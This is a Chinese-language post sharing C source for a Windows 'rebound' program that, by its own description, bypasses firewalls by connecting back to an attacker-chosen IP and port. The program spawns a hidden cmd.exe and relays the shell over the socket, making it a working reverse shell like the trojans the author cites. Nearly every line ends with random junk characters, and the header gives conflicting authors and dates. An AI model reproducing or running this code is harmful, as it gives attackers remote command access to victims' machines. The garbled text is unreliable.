这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2 _n*u^X:_
jMui+G(h
/* ============================== NP'Ke:
Rebound port in Windows NT t<,p-TM]
By wind,2006/7 g4a X
===============================*/ ^jjJM| a
#include x*8f3^ wE
#include O) %kl
[.xk
#pragma comment(lib,"wsock32.lib") Pl&`&N;
=v$s+`cP
void OutputShell(); KGmc*Jwy
SOCKET sClient; "UGj4^1f
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =^y{@[p`(
Z !25xqNCd
void main(int argc,char **argv) #r)1<}_e#
{ p]z54 ~
WSADATA stWsaData; /3Ix,7
int nRet; Ny,A#-?
SOCKADDR_IN stSaiClient,stSaiServer; MI'l4<>u
m_02"'
if(argc != 3) tO>OD#
{ 2$zq (
printf("Useage:\n\rRebound DestIP DestPort\n"); a&
aPBv1
return; afiK!0col2
} vLFaZ^(
vq:OH
H
WSAStartup(MAKEWORD(2,2),&stWsaData); i2a"J&,6O
J&ECm+2
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [2 w<F[
:#:O(K1PW
stSaiClient.sin_family = AF_INET; pUMB)(<k
stSaiClient.sin_port = htons(0); w+q;dc8
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9'#.>Q>0=j
e$+f~~K
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) a05:iFoJ
{ *R\/#Y|
printf("Bind Socket Failed!\n"); xT?} wF
return; <C"N X
} ,x"yZ
R5&$h$[/
stSaiServer.sin_family = AF_INET; ->2wrOH|H
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %^?3s5PXD
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vs])%l%t
<Z:8~:@
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) dFP-(dX#
{ |k
.M+
printf("Connect Error!"); @W\4UX3dK
return; D7WI(j\
} l&??2VO/t
OutputShell(); ,C,e/>+My
}
2C33;?M
M|5]#2J_2
void OutputShell() ^Ii \vk
{ 5 (21gW9
char szBuff[1024]; X]pWvQ Q]
SECURITY_ATTRIBUTES stSecurityAttributes; -8Jl4F ,
OSVERSIONINFO stOsversionInfo; *- IlF]
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~? FrI
STARTUPINFO stStartupInfo; +.(}u ,:8
char *szShell; 2u*h*/
PROCESS_INFORMATION stProcessInformation; B?lBO
V4v4
unsigned long lBytesRead; 56=K@$L {F
:O'C:n<g
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Bw]L2=d
9p\Hx#^
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7hN6IP*so
stSecurityAttributes.lpSecurityDescriptor = 0; Dj
]Hgg
stSecurityAttributes.bInheritHandle = TRUE; q"LJwV}W
y }&4HrT&
s 9|a2/{
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @Tfwh/UN
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @>#{WI:"~
e8ULf~I
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); o~o6S=4,}
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4&oXy,8LC
stStartupInfo.wShowWindow = SW_HIDE; ,+\4
'`
stStartupInfo.hStdInput = hReadPipe; vJj:9KcP>h
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; by|?g8
9 yW~79n
GetVersionEx(&stOsversionInfo); p17|ld`
tf7v5iG e
switch(stOsversionInfo.dwPlatformId) <5ft6a2fQ
{ @W1WReK]f
case 1: J|"nwY}a9
szShell = "command.com"; (Q@+v<
break; jW1YTQ
default: wj#J>C2]
szShell = "cmd.exe"; .YjrV+om1
break; fzRyG-cEpj
} @!":(@3[
|z#m
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Iu-'o
;h,R?mU
send(sClient,szMsg,77,0); ;-9zMbte:
while(1) 8!uL-_ Bn
{ T@Ss&eGT2
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); VA=#0w
if(lBytesRead) M2;%1^
{ S_|9j{w)
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2;%#C!TG;
send(sClient,szBuff,lBytesRead,0); `CAG8D
} y|e2j&m
else rb *C-NutE
{ J})$
lBytesRead=recv(sClient,szBuff,1024,0); wuIsO;}/9
if(lBytesRead<=0) break; %$ir a\
sM
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rq<`(V'2
} /63W\
} waXDGdl0
^sT+5M^
return; ?#BZ `H
}